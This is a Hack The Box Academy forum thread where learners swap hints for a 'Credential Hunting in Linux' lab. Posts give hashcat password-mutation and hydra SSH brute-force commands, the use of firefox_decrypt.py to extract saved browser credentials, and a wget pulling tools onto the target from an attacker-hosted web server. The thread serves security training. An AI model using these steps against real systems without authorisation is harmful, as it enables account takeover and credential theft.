PASSWORD ATTACK | ACADEMY - Credential Hunting in Linux

HTB Content Academy
44

Friends, Enemies

I have a password of Kira’s user.

45

“Do I need to resort to SSH brute-forcing? I’ve been lingering around port 445 for quite some time.”

46

“I couldn’t find anonymous login on port 21, and there’s no file sharing on port 445 either. Only port 22 is left. I’m frustrated about how to connect to this Linux machine.”

47

You need to make a dictionary attack on ssh port with user kira lower case.

First you need to mutation the password that you can get in hunt description.
The common error is that we mutuation the password.list dowloaded from the Resource. This is the problem. You need to make a file with only 1 password. So, mutation this password.

48

“Thank you for your response. I’m going to handle it now.”

49

hello im stuck in this module

im connect to ssh kira but in dont find will password

50

I got in ssh as kira. Now tryingto decrypt firefox is throwing an error. Anyone else have this problem? Looking for a nudge.

python3.9 firefox_decrypt.py
Select the Mozilla profile you wish to decrypt
1 → lktd9y8y.default
2 → ytb95ytb.default-release
2
2024-04-22 01:31:52,781 - ERROR - Couldn’t initialize NSS, maybe ‘/home/kira/.mozilla/firefox/ytb95ytb.default-release’ is not a valid profile?

1 Like
51

I also have the password, but I am encountering a strange event. When I try to ssh kira@10.129.87.192
Connection closed by 10.129.87.192 port 22
I also tried ssh 10.129.87.192 but after waiting for minutes, it doesen’t gives any response. I am very confused what to do since I have the cracked password from using Hydra but since I don’t get any response from ssh, I don’t know what to do.

52

I no have idea of the situation. Try to look the state of the port with nmap before start with scan and look if is closed or filtered.

53

python3.9 firefox_decrypt.py

1 Like
54

There has to be something wrong with the instance your are connecting to. I have had a ton of issues network related on HTB for the last two weeks.

55

your hint is amazing bro, big thanks

1 Like
56

hello hey this my first time posting something on this community …i already solve this path and here i leave how i did it
1 . create a file with the password Loveyou1 using the custom.rule hashcat --force /home//password1k.txt -r custom.rule --stdout | sort -u > mut_password4.list

  1. use hydra to crack the new password hydra -l kira -P /home/xxx/mut_password.list

  2. read the bash_history carefully
    thank you and good luck

1 Like
58

Hi there, I have found “authorized_keys”, although what should I do after this? I tried to use firefox_decrypt.py, but it shows “no file or directory”. Please give me a hint.

59

Read the bash_history to use the firefox_decrypt.py download it on your attacker machine and then use python to transfer the file to your target

60

Download the resources zip file and extract them from the top of the page

echo "Loveyou1" | hashcat --force -r Downloads/custom.rule --stdout | sort -u > mutated-passwords

cat mutated-passwords
62

Is anyone else having an issue with resolving the github.com host?

kira@nix01:~$ git clone https://github.com/unode/firefox_decrypt.git
Cloning into 'firefox_decrypt'...
fatal: unable to access 'https://github.com/unode/firefox_decrypt.git/': Could not resolve host: github.com

UPDATE:

I solved it by creating a simple python server connection between the two:

cd /home/user/firefox_decrypt
python3 -m http.server 8000

wget http://<attack-ip>:8000 -r -np -nH --cut-dirs=1

I hope this helps anyone who might be stuck

1 Like
64

For the past few months I have found tremendous value from the community with HTB. I wanted to make my first post, hoping to contribute to the community with some guidance.

If you’re like me and having problems with some of the password challenges, make sure that you read up on various file transfer methods out there. Do not limit yourself to HTB.

I found this video on youtube to be very helpful, https://www.youtube.com/watch?v=OV4ZXlvLaxo

Combine that video with the help from the posts above.

Cheers, thank you HTB community.

65

after 4hours of brute forcing i realized it’s kira and not kiara.

1 Like
66

I always use the command below to find what version of python are installed

whereis python3
1 Like